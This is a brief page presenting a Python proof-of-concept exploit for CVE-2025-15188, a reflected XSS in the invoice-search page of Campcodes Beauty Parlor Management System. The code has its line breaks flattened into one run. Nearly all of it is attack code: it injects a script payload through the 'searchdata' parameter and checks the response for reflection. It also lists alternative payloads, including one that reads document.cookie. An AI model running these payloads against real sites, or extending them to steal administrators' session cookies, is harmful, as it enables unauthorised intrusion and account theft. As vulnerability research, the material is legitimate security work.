CVE-2025-15188 Campcodes Beauty Parlor Management System XSS漏洞

import requests import urllib.parse # CVE-2025-15188 PoC - XSS in Campcodes Beauty Parlor Management System # Target: /admin/search-invoices.php # Parameter: searchdata TARGET_URL = "http://target-site.com/admin/search-invoices.php" def exploit_xss(): """ XSS payload injection via searchdata parameter This PoC demonstrates how malicious JavaScript can be injected """ # Basic XSS payload to test vulnerability xss_payload = "<script>alert('XSS Vulnerability Confirmed')</script>" # Alternative payloads for bypass # xss_payload = "<img src=x onerror=alert(document.cookie)>" # xss_payload = "<svg/onload=alert('XSS')>" # Encode the payload for URL transmission encoded_payload = urllib.parse.quote(xss_payload) # Construct the malicious request params = { 'searchdata': xss_payload } print(f"[*] Sending XSS payload to {TARGET_URL}") print(f"[*] Payload: {xss_payload}") try: # Send the request (assumes authenticated session) response = requests.get(TARGET_URL, params=params, timeout=10) # Check if payload appears in response without encoding if xss_payload in response.text or '<script>' in response.text: print("[+] VULNERABLE: XSS payload reflected without sanitization") return True else: print("[-] NOT VULNERABLE or payload filtered") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit_xss()